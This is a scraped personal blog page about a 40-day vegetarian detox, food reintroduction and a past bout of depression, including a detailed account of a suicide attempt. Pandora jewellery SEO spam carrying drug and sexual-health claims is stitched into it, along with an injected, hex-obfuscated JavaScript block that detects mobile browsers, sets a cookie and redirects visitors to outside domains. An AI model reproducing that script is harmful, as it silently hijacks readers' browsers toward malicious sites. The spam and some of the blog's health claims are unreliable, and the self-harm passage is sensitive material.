40 Day Detox

Overview

40 Day Detox Graph

My Body Fat Percentage increased in week 1

It’s been an interesting journey. As you can see from the above graph and from the spreadsheet here overall, I did eventually see a drop in body fat. However, the first week started with an increase, starting at 18.8% on day 1 and increasing 1.8% to 20.6% on day 7. I put this down to a mixture of:

1. prolonged exercise on an empty stomach in the morning, which forced my body to go into starvation mode and thus burned muscle rather than fat;
2. exercising too much too frequently – the body needs days off to rest so that it can build the muscles you’ve torn during exercise (more muscle equals more calories burnt even whilst resting);
3. finding my feet with the new detox foods e.g. eating too much fat in the form of cheddar cheese and eating too high a quantity of the new vegetarian food.

This first week is good evidence showing that a person does not become thin simply by becoming a vegetarian. There are many vegetarian foods that can contribute to an increase in body fat e.g. carbohydrates in starchy foods, fat in dairy products and calories in nuts! A vegetarian still needs to carefully plan what he/she is going to eat, when to eat it and how much to eat. In fact to stay healthy, vegetarians need to put more thought into what they eat than meat eaters as they have to figure out where to get all the nutrients they would normally get from meat. Vegans have to be even more thoughtful with the elimination of all dairy and all animal products. Becoming vegetarian or vegan without properly planning and putting thought into what your body needs is a very bad idea. Start your research into nutrition and what your body needs here.

Factors that contributed to a drop in Body Fat Percentage

As I gradually made the following changes I noticed better results in terms of fat loss:

1. smaller meals
2. more frequent meals
3. eating more slowly
4. reducing nuts (reducing calories)
5. doing resistance training less frequently to allow muscles to repair
6. not exercising on an empty stomach
7. rest days
8. socialising to reduce stress (stress releases cortisol which encourages fat to be stored in abdominal region)
9. drinking more water
10. not eating carbohydrates after 6pm

During the 42 day period my highest body fat percentage was 20.6% on day 7 and my lowest body fat percentage was 16.6% on day 39. That’s a range of 4% in 32 days! Two days after my detox (day 44) I reached my lowest body fat percentage of 16.3%.

A slight rise in Body Fat Percentage towards the end

Towards the last few days of the detox (day 40 to day 42) my body fat percentage started to rise again. I put this down to the psychological impact of reaching day 40 and thus realising that there was no way I was going to be in shape for a topless photo on day 42 for an “after” picture. This caused me to have a more relaxed attitude to how much I ate.

Other benefits of doing the 40 day detox

Other than fat loss there were many other benefits from doing the detox:

1. I learned about my body and how it responded to detoxing, improving nutrition and exercise
2. I learned about nutrition – an awareness that will stay with me for life
3. I learned about other eating cultures and discovered different delicious foods
4. I learned that I could write daily if I wanted to!
5. I found that my body could have potentially healed old wounds
6. I gained an almost supernatural sense of smell (I’ll be taking it easy with the cologne from now one)
7. I appreciated the ethical position of vegetarians and vegans
8. I discovered the benefits of drinking filtered water
9. I was able to think with more clarity
10. My sexual health vastly improved
11. I noticed a drastic increase in positive moods and emotions
12. 

    Visualise in HD (High Definition)

    I felt fresh / awake

13. I gained fresher breath
14. I had increased energy levels
15. I gained a renewed desire to be creative
16. I increased my ability to remain focused on a task and a sustained ability to work towards goals
17. I noticed that I could visualise imagery in my mind with a crisper higher definition quality
18. I noticed clearer more vibrant looking skin with a lighter tone
19. I increased in confidence
20. I discovered the significance of 40 days
21. I came on TV the day after my detox completed!

I was on prime time Television!

Yes that’s right, on the 16^th September 2010, on day 43 or one day after the completion of my 42 day detox, at 20.00 I appeared on BBC1 Watchdog. Here’s my bit:

And here is the full Argos feature, plus a follow up of what happened afterwards on the BBC website.

The Universe opened doors for me on day 40, day 41 and day 43

So as you can see, day 40, day 41, and day 43 were all highly eventful. Coincidence? Or is there really something to the significance of 40 days that seems to be recognised by mystical and religious traditions all over the world? Why don’t you do your own 40 day experiment and let me know what you experience by commenting on this post? Commit to doing something for 40 days (even a detox of your own if you like) and let me know what happens!

Effects of going back onto non-detox foods

Once the detox was complete, I didn’t start consuming everything that was forbidden all at once. I gradually re-introduced different foods to see how my body would react.

Day 43: The Omega 3 fats in fish healed my inflammation symptoms but I was highly sensitive to the caffeine in chocolate!

I was still in pain and suffering from the symptoms of inflammation since day 40 so the first non-detox food I ate was fish (Cod). It was ok to eat (not amazing as I find cod one of the smellier fish), but heavy on my digestive system after eating. About 10 minutes after consumption I felt as though my face muscles were twitching. I then checked myself in a mirror and could see my face muscles twitching. Though, I didn’t sense any trauma. I did seem to sense trauma (as if I was sensing the pain and suffering of the slaughtered animal) a couple of times after eating food contaminated with meat in Syria when I did my first detox/vegetarian experiment. However I did notice that my headache decreased and finally disappeared and the inflammation in my nose eased and I could breathe through my nose with more ease. I believe it was the Omega 3 in the Cod that did the trick. Omega 3s are anti-inflammatory. That’s one of the reasons it’s recommended to eat fish twice a week. I do feel gutted that even though I went out and bought flaxseed oil this day I didn’t use it to see if it got rid of my inlfammation symptoms. Next time I will consume flaxseed oil (which is a vegan source of a type of Omega 3) when I feel similar symptoms and see if it cures the problem. Let me know if you have or haven’t experienced relief from inflammation symptoms by using flaxseed oil by commenting below.

In the evening I had chocolate flavoured sesame halva and two small cubes of strawberry flavoured Milka chocolate. I couldn’t get to sleep at night. I felt full of energy. I was puzzled because it felt as if I had drank some caffeine, even though I hadn’t. It was only the following morning that I found out that there is caffeine in cocoa products. I was quite surprised at how sensitively my body responded to the caffeine present in two small cubes of Milka chocolate and some Cocoa flavoured Turkish Halva! I don’t ever recall noticing the caffeinated effects of chocolate before. Incredible!

Day 44: Fight Fat with Fish and how DECAF Green tea got me high

Following the introduction of lean meat (cod) yesterday, my body fat dropped to the lowest since I started taking recordings 44 days ago to 16.3%. Does this mean that in order to lose fat it is more efficient to use lean meat as a form of protein rather than a mixture of vegan sources of protein? I think it’s possible. I think with lean meat you can avoid eating carbohydrates if you want to, whereas with vegan sources of protein, the forms (e.g. legumes, rice, bread) are almost always packaged with accompanying carbohydrates. I have experience of buring fat to the thinnest I’ve been when I was consuming fish daily with steamed vegetables for a bout a month. While writing this I’ve also just discovered that maybe the connection with buring fat isn’t just with lean meat, but specifically with fish.

The non-detox foods I experimented with today were a mug of Decaf Green Tea and two slices of Stoneground bread and a free range organic boiled egg (not all at the same time).

My heartbeat was racing after drinking the DECAF green tea. I couldn’t believe how sensitive to caffeine my body was post detox. I found it hard to focus and concentrate on my work too until later in the afternoon, by which time the caffeine probably had left my system.

I noticed no side effects from the bread.

The free range organic boiled egg was very light while eating. It didn’t taste eggy in a bad way. It tasted and felt fresh, wholesome, good clean food. Again no side effects were noted after eating the egg.

Setting the cricket free!

The cricket had been in the flat for over a week now. It seemed to me and my wife that its colour was becoming less vibrant than when we first noticed it. There was insect repellent on the windows so it couldn’t get itself out if it was clever enough to work its way out, and no other insects were coming in. Part of me wanted to keep the cricket as in Chinese culture, cricket’s are considered to bring good luck if found and kept as a pet in one’s home and also because it seemed to extend a hand of friendship towards me earlier. The other part of me was concerned that it would die if it stayed in the flat. We captured it (ok not we, my wife captured it – yes, I know, bit of a wussy moment for me) and tried feeding it lettuce. When I looked into it, if it was what we suspected, a female tree cricket, it turned out they eat other small insects not plants. Though I wasn’t 100% sure it was female tree cricket because I couldn’t see any wings! Dilemma, dilemma, dilemma! In the end we decided to free it in the hope it could survive. According to Sods Law, it was probably trodden on by one of our neighbours or eaten by a bird moments later…

Facebook Status Updates on the effects of non-detox foods

The following are status updates expressing how I felt after consuming different non-detox foods.

Day 46

“Ali Zaidi feels like crap”

September 19

I had my first cup of coffee after 7 weeks that morning.

Day 48

“Ali Zaidi caffeine is the evil that runs in the veins of zombies”

September 21

I continued trying to get used to caffeine for the next few weeks. For a good couple of weeks I felt constantly “high” from being on caffeine. I couldn’t concentrate and certainly couldn’t focus on writing new blog posts.

Day 49

“Ali Zaidi is wheezing after consuming the leg of a lamb. First piece of red meat in almost two months.”

September 22

I went out to a local Pakistani restaurant to eat one of my favourite meat dishes of all time called Lamb or Mutton Nihari. Oh my God! It is a seriously delicious dish. Even though at the time of writing this I’ve just eaten a delicious beef fillet steak, I could kill a Nihari right now! I will definitely have to go and get me some this Saturday on my day off! Anyway, after eating it, on my way home I started to wheeze, and struggled to breathe properly. I also felt quite upset about eating a mammal. It didn’t feel ethically right.

“Ali Zaidi What do vegans feed carnivorous pets (like dogs)? This is perhaps the point where moral veganism falls flat on its face…”

September 22

This status was partly inspired by my experience with the cricket. If I kept it as a pet and it needed to eat other creatures for its survival, how would I deal with the moral dilemma of feeding it other creatures if I was a vegan or vegetarian on ethical grounds? It was also probably my mind justifying to myself the renewed eating of meat which I had recently started experimenting with again.

“Ali Zaidi the nicotine in Shisha makes your heart beat faster”

September 25

Well I had just smoked tobacco in the form of Shisha for the first time and noticed my heart beating incredibly fast. It was so fast and pronounced I felt anxious. I also noticed this effect when I smoked a cigarette whilst waiting for a friend outside a tube station. I had never noticed these sensations from smoking tobacco before. It turns out, like caffeine, nicotine is a stimulant which is supposed to have that effect on you. Did you know that nicotine is a natural pesticide that the plant it is found in, uses to keep insects from eating it? Did you also know that in some places nicotine smoke is blown onto plants to acts as a pesticide? So in effect an addiction to nicotine is an addiction to pesticide! It might be one of the reasons we can get lung cancer from smoking tobacco!

How my eating habits 3-4 months after completion of this detox have changed

The Yo-Yo effect

In the first couple of months I gained an addiction to Turkish Sesame Halva. I was eating loads of it everyday. Needless to say within two months, regretfully, I regained the 2% body fat I lost during the detox. This has made me realise that in order to keep fat off permanently I need to make some sort of permanent commitment to my diet and lifestyle. If I just go on diets for fixed periods of time and then revert back to old or worse behaviours I will experience the Yo-Yo effect of dieting. The funny thing is, as soon as I reached my pre-detox body fat percentage of 18.8% I completely lost my addiction to Sesame Seed Halva. When I tried eating it again, I didn’t care for the taste anymore. Very strange.

To eat, or not to eat animal products is the question

Pescatarian anyone?

When I first started eating meat again, I initially made a move to organic meat, eggs and dairy. My moral and ethical leanings were still quite strong. I wanted to only consume meat from animals that were treated well and fed naturally. However the sheer expense of organic meat (4-5 times the price of normal meat) has made it an unsustainable option for me at present. If I were richer I would only consume organic foods. I did play with the idea of becoming pescatarian where I would eat only the meat of that which I felt I could kill myself i.e. fish and eggs. I can’t imagine slitting the throat of a cow, lamb or chicken but think I could handle stealing an egg or going fishing… I think. I figured what right do I have to eat something if I would be unwilling to kill it myself? Also my whole experience with inflammation from day 40-42 made me wonder if the Omega 3 from fish was important for my health. I also figured I’d be able to get my vitamin B12 from this source which vegans tend to miss out on.

Hold on a minute …what if I’ve become a domesticated human?

Alternatively, I have noticed that if an animal is taken out of the wild and domesticated it can forget its ability to hunt and survive in the wild. It seems to me that city-life is much like living in a zoo, and I wonder if I myself have become domesticated and for this reason I feel unable to hunt and eat other animals for survival. Could my moral leanings towards vegetarianism and veganism be a product of this process of domestication? I am also not convinced that I’d be able to get enough iron from vegan sources so I wonder if eating red meat every now and again would be better for me.

Organic eggs and reducing my “dairy footprint”

I have to this day retained the eating of organic free range eggs. The taste is just so much better than ordinary farmed eggs. I’ve reduced the amount of dairy in my diet. I pretty much always use vegan alternatives to cow’s milk (e.g. rice milk and oat milk). Only on rare occasions will I have cow’s milk in tea and coffee. When I have bought milk, I buy organic if the option is there. I still indulge in chocolate, ice cream, cheese every now and again. After watching a video on youtube on dairy farming my idea has been to reduce my “dairy footprint” (much like reducing one’s “carbon footprint”). Give the poor cow’s breast a rest!

If I find vegan alternatives to dairy products like Vitalite I generally do use them. However some things I have not been able to replace, like Häagen-Dazs Vanilla ice cream. Nothing compares!

Only wholesome wholegrain will do

In terms of grains, for breakfast I’ve been having bran flakes and muesli with fresh fruit, nuts and vegan milk. For bread I’ve moved to Cranks Organic Wholemeal Stoneground Bread. I can’t recommend it enough. Absolutely delicious dipped into a soft boiled organic egg. Mmmm… I also only eat wholegrain basmati rice, and pasta. My rule of thumb when choosing something to buy is: how much nutritional value does the food provide? Will I be getting vitamins and minerals as part of the deal or will it just be empty fat causing calories?

Fresh fruit and vegetables: if you were to make only one change in your diet …increase these!

Even since the end of the detox I have kept up eating a large variety of fruit and veg daily – and continue to see the benefits in my sexual health and speed of recovery from colds and flu. When I get a cold I increase the intake of fruit which does wonders for me. Much better to help the body recover by equipping it with vitamins and minerals to enable it to fight disease than to just wade out the problem with only using pain killers.

Alcohol: a switch to the richness of red wine

Since the detox, I’ve almost exclusively restricted my alcohol intake to red wine as it seems to me the healthiest alcoholic choice. It helps me digest red meat easier. But as I feel a lot dumber (mentally) since drinking it, I am thinking of quitting alcohol outright. By quitting I will certainly avoid embarrassing Facebook updates or comments via my pesky mobile phone!

My new selfish attitude to nutrition: personal long-term health outweighs moral, ethical and philosophical dilemmas

If I could conclude that being vegan is the healthiest option for me I would choose veganism as it matches my moral leanings. If I found ovo-lacto vegetarianism was the healthiest for me I would choose that. If I found pescatarianism is the healthiest I would choose that. If I found being an omnivore is the healthiest I would choose that. If I found being exclusively carnivorous was the healthiest option I would choose that. I think more experimentation on my part is necessary before coming to any final conclusions for myself. For now I choose to be an omnivore with increased use of fresh fruit and veg, the use of wholegrains rather than highly processed grained foods, twice-weekly consumption of fish (not much more due to fears of mercury poisoning), the eating of lean poultry (e.g. chicken and turkey breast), and occasional consumption of lean red meat (I prefer beef fillet steak as it’s the leanest – and most expensive!). On occasions I may also indulge in fattier meat (other parts of chicken and lamb chops for example).

Conclusions and Recommendations

It’s been a wonderful journey. The results have been so good that I am considering doing a permanent version of the detox. It won’t be as restrictive as I’ve done for the 40 day detox, but cutting out that which I know for sure provides questionable benefits (e.g. smoking and alcohol). I will definitively consider coming back to doing some form of experimental detox on a yearly basis. Next time perhaps I will experiment with raw veganism.

If you’ve never done anything like this, I do highly recommend it. It was really amazing to discover the kinds of things my body was capable of doing – e.g. super smelling sense, ability to visualise in HD etc.

I intend to continue with experimenting with different approaches to nutrition until I find something that works optimally for my body. I recommend that you do your own exploration to find out what works best for you. Our bodies are all different: what works for me, might not work you, and what works you might not work for me!

The nutritional project I have just started is the 120 Day Fat Loss Competition. There are over 40 people participating! Join us!

The Canadian Breast Cancer Foundation was founded in 1986 by a group of volunteers and has become the leading national volunteer led organization in Canada dedicated to creating a future without breast cancer. The Foundation has invested $230 million since its inception to collaboratively fund, support and advocate for relevant and innovative breast cancer research, meaningful education and awareness programs, early diagnosis and effective treatment, and a positive quality of life for those living with breast cancer. Based in Toronto, the Canadian Breast Cancer Foundation has regional offices in British Columbia/ Yukon, Prairies/North West Territories, Ontario and the Atlantic Region..

pandora essence Keeping your home clean and sparkly is not the easiest task. Keeping your appliances and the things that can’t be seen in a perfect condition is even harder. Even if you are prepared for the upcoming season and you’ve already cleaned and checked most parts of your home, there’s still plenty to do. pandora essence

pandora jewelry If you are having erectile dysfunction problem there are many vitamins and supplements are offered and these vitamins are the very effective method to deal with erectile dysfunction. price celexa pandora bracelets uk Exercises help you to boost energy as well as the low level of testosterone. Exercises improve the flow of blood to the male sexual organ and over all health. pandora jewelry

pandora necklaces The unusual sight of a uniformed policeman rolling on the ground soon had a crowd gaping in astonishment. Some took out cameras, while some outraged advocates started protesting. “This is a cruel and derogatory act. Another tip on how to increase sexual stamina is to control your breathing. When having sex, your body is tense and your breathing is heavy. This will cause you to not be able to perform like you want to. pandora necklaces

pandora charms We ended the quarter with 237.5 million in cash, a decrease of 202.7 million from the prior year comparable quarter end.http://www.pandoracharmuksale.com The decrease in cash was primarily due to the share repurchase program and dividends, which totaled 287 million and $19 million respectively. We have made good progress in the execution of a share buyback program which began in mid January this year. pandora charms

pandora bracelets Many parents may be concerned about having stimulant medications prescribed to their child. This is a typical concern amongst parents, but such medications are not addicting, nor do they produce a in a person with ADHD who takes them. Researchers are still unclear as to why stimulant medications do not people who take them, but it is hypothesized that people with ADHD have a problem with certain neurotransmitters in their brain that the medication helps correct pandora bracelets.
(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

I definitely over did the nut stuffed dates last night. While my weight stayed constant on 3 consecutive days at 67.7kg, my Body Fat rose 0.2% to 17.0% while my Body Water and Body Muscle dropped 0.2% to 57.0% and 43.1% respectively.

I had my usual hot lemon drink in the morning, followed by breakfast consisting of Inca red quinoa, plums, blackberries, coconut milk and agave nectar. 

Mid morning I snacked on some watermelon. It’s a really refreshing and hydrating kind of snack, great to help you cool down on a hot day. 

For lunch I had red lentils with buckwheat. 

For my evening meal I combined the red lentils with organic gluten-free pasta made from rice, spinach and tomato. 

I got hungry again in the evening so I ate two corn on the cobs, some black olives and half a lime. 

I had a busy day sat at the computer today. I wrote my favourite post so far on blood sugar and also spent some time preparing the evidence that BBC Watchdog asked me to send to them. It seems my earlier appeal on this blog to boycott Argos may have had some impact. BBC Watchdog are thinking of doing a piece on Argos and they may include a section of the show on my bad experience with them! I was up until stupid o’clock in the morning doing my research, writing and evidence gathering. As I was going to bed I noticed a green insect on the ceiling of my bedroom. It looked incredibly beautiful with a bright vibrant green colour. As it was beautiful I let it be and went to bed. 

A question that I often come across is why do a detox? What’s the point of a detox diet? What is a body detoxification trying to achieve?

The first time I did a detox was earlier this year in January 2010. There were numerous factors that made me commit to that detox. First of all I had been suffering from depression for a good couple of years. My psychological state got so bad that I tried to hang myself towards the end of 2009. Lucky for me the hook on which I tied my scarf couldn’t hold my weight and it fell on my head along with a load of dust and debris that was wrenched out of the wall with the force of my weight. The sharp contrast between the utter despair and finally taking the plunge one second, followed immediately by the ruining of the wall, streching  my brand new John Lewis scarf beyond repair and dirtying my rather sexy coat the next few seconds created a moment of divine comedy. I stood there with dust on my head, smiling. I was drunk. Very drunk. I had been out for a regular night out. But as I stood in the club and looked around, I thought about my life, it felt like I was in a deep dark hole from which there was no escape. I couldn’t see how I could get out of this rut. Existence made no sense. I could not see the point in anything. And so I decided to finally go home and finish it once and for all. 

During the days, if I wasn’t self medicating with marijuana, I would be filling the void of meaninglessness with documentary videos on Google and other videos on all kinds of things that are “out there” (e.g. I saw the whole of The X Files from Series 1 to Series 9 plus the two X Files Movies back to back). Marijuana didn’t cure my depression it just made me so apathetic, that I couldn’t even be bothered to tie a shoelace let alone a noose around my neck. Human life made no sense to me. I couldn’t understand why people do the things they do. Why do people go to work? Why do people obsess over money? Why couldn’t I be like them?  But my disillusionment wasn’t limited to humanity. It extended to existence in general.

Why did ants, bees and birds do what they do?

Why does God do what He does?

What’s the point in any of it?

A test? What’s the point in that?

Evolution? What’s the point in that?

Self discovery? What’s the point in that? 

Trying to escape reincarnation? What’s the point of that?

Trying to escape suffering? Hey that’s a good idea!

Why bother with sitting under the Bodhi Tree and hoping for enlightenment when you can just end the suffering right here right now? Or can you? This is the dilemma faced by one hoping to escape suffering famously articulated by William Shakespeare:

 

“To be, or not to be– that is the question:
Whether ’tis nobler in the mind to suffer
The slings and arrows of outrageous fortune,
Or to take arms against a sea of troubles
And, by opposing, end them. To die, to sleep
No more – and by a sleep to say we end
The heartache and the thousand natural shocks
That flesh is heir to – ‘tis a consummation
Devoutly to be wished. To die, to sleep
To sleep, perchance to dream. Ay, there’s the rub,
For in that sleep of death what dreams may come,
When we have shuffled off this mortal coil,
Must give us pause. There’s the respect
That makes calamity of so long life.
For who would bear the whips and scorns of time,
Th’ oppressor’s wrong, the proud man’s contumely,
The pangs of dispriz’d love, the law’s delay,

A trip into the afterlife? The Ascent into the Empyrean - Hieronymous Bosch - 1450-1516

The insolence of office, and the spurns
That patient merit of th’ unworthy takes,
When he himself might his quietus make
With a bare bodkin? Who would fardels bear,
To grunt and sweat under a weary life,
But that the dread of something after death,
The undiscovered country from whose bourn
No traveller returns, puzzles the will
And makes us rather bear those ills we have
Than fly to others that we know not of?
Thus conscience doth make cowards of us all,
And thus the native hue of resolution
Is sicklied o’er with the pale cast of thought,
And enterprises of great pith and moment
With this regard their currents turn awry,
And lose the name of action.—Soft you now!
The fair Ophelia! Nymph, in thy orisons
Be all my sins remembered.” 

What if what follows this existence is far worse upon death? What if death isn’t just ceasing to exist (which is more than often the aim of the suicidal)? What if it’s a transformation into something far worse? If I transform into another form of existence, what if I get depressed there? Will I continue trying to cease existing and therefore attempt suicide in these other forms for the rest of eternity? What if the theists are right after all and suicide leads to an eternal damnation in hell? Or, even worse, what if its a union with God who’s existential suffering may well be far worse than our own? At least we can attempt to end it with suicide. God has no such option, for He is doomed to eternity. We think we have it bad. We think we had no choice into coming into existence, but did He? No He didn’t. Not only did He not choose to exist nor is He able to not exist, he gets blamed for the suffering that we all face too. At times like this, it must surely suck to be God. 

I tried to see if self help books could help. I read Napolean Hill’s Think and Grow Rich hoping that it would help me to be a bit more “normal” and influence my thinking into embracing the meaninglessness of capitalism by making it a bit more meaningful. While many people who have read Think and Grow Rich will swear that it turned their life around and made them into the millionaires they are now, for me it had the complete opposite effect. In one of the chapters it said that in order to be rich you must cultivate an intense burning desire for money. One must create an obsession for money. One must become Augustus or George Agdgdgwngo.

 

I could only respond with many curse words and gestures involving my index and middle fingers to such advice. There was no way I was ready to become like that! Not for now anyway. I had more fundamental issues to deal with first. However, if you are someone who does seriously want to be rich and make lots of monies then I do highly recommend reading Think and Grow Rich by Napolean Hill. It could well change your life.

Other than this state of affairs, overall, I always felt tired and I was always physically ill. I would walk around and literally notice a dark grey mist in my vision. It felt as if a dark cloud was following me wherever I went. Even if I went outside into the sunshine I’d notice a grey cloud surrounding my person. I’m not speaking metaphorically here, literally it appeared as if there was a grey mist in my vision. On top of these symptoms I would end up contracting some sort of flu virus: the effects of which would last a month or two, and then I would get better, be well for a week and then contract another flu type virus and be ill for another couple of months. This cycle continued all year round. It seemed my health, both physically and mentally couldn’t be worse.

